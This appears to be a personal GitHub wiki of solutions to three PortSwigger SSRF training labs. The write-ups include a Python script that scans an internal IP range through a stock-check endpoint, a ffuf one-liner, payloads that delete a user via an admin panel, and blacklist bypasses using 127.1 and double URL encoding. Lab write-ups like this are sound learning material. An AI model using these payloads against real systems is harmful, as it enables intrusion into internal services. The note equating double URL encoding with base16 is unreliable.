Server side request forgery (SSRF) - gachikuku/portswigger GitHub Wiki
Apprentice lab: lab:
Basic SSRF against the local server
Apprentice lab: lab:
Basic SSRF against the local server
This lab has a stock check feature which fetches data from an internal system. To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.
-
Solution
- Browse the site, and look for the Check stock functionality on a product.
- Intercept Check stock
- In the Request make the
stockApiequal tohttp://localhost(URL encode it⌘ U) and foward. - Notice we get an Admin panel in the Response.
/adminendpoint has been accesed. - Attempting to delete
carlosreveals/admin/delete?username=carlos - Intercept Check stoke and make
stockApiequal tohttp://localhost/admin/delete?username=carlosdelivering a SSRF attack.
Apprentice lab: lab:
Basic SSRF against another back-end system
Apprentice lab: lab:
Basic SSRF against another back-end system
This lab has a stock check feature which fetches data from an internal system. To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.
-
Solution
- Create a python virual environment
1. python3 -m venv . 2. source bin/activate- Scan the internal 192.168.0.X range for an admin interface on port 8080 (use python script below).
import requests # Base configuration url = "https://uuid.web-security-academy.net/product/stock" headers = { "Content-Type": "application/x-www-form-urlencoded", "Cookie": "session=7bX4Nrzi0Q27kyqGvWqlQYzqhTc8WB7h", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Accept": "*/*", "Origin": "https://uuid.web-security-academy.net", "Referer": "https://uuid.web-security-academy.net/product?productId=4", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-GB,en-US;q=0.9,en;q=0.8" } # Function to send requests def scan_ip(ip): data = f"stockApi=http://{ip}:8080/admin" response = requests.post(url, headers=headers, data=data, verify=False) if response.status_code == 200: print(f"Connected to admin interface at {ip}:8080") print("--------------------------------------------------------------------------------------") else: print(f"No admin interface at {ip}:8080") # Main scanning loop for i in range(1, 255): ip_address = f"192.168.0.{i}" scan_ip(ip_address)
-
Intercept Check stock functionality, and change the
stockApito the internal IP Address with the/adminendpoint. -
Observe the endpoint for deleting users.
-
Set the
stockApiequal tohttp://192.168.0.82:8080/admin/delete?username=carlosencoded. -
Deactivate (optional) the python virtual environment.
deactivateNOTE:
heres a one liner LOLOLOLffuf -w ips.txt:IP -u https://uuid.web-security-academy.net/product/stock -d "stockApi=http://IP:8080/admin" -fc 500ips.txtis a custom wordlist for ip addresses.
Practitioner lab:
SSRF with blacklist-based input filter
Practitioner lab:
SSRF with blacklist-based input filter
-
Solution
- Check an item and for stock.
- Change stock to 127.0.0.1, it's blocked but 127.1 its not
- /admin it's blocked but using double url encoding %2561dmin it's not blocked.
from chepy import Chepy result = ( Chepy("%a") .to_base16() .o )
- Delete carlos
NOTE
Double url encoding is same as base16 encoding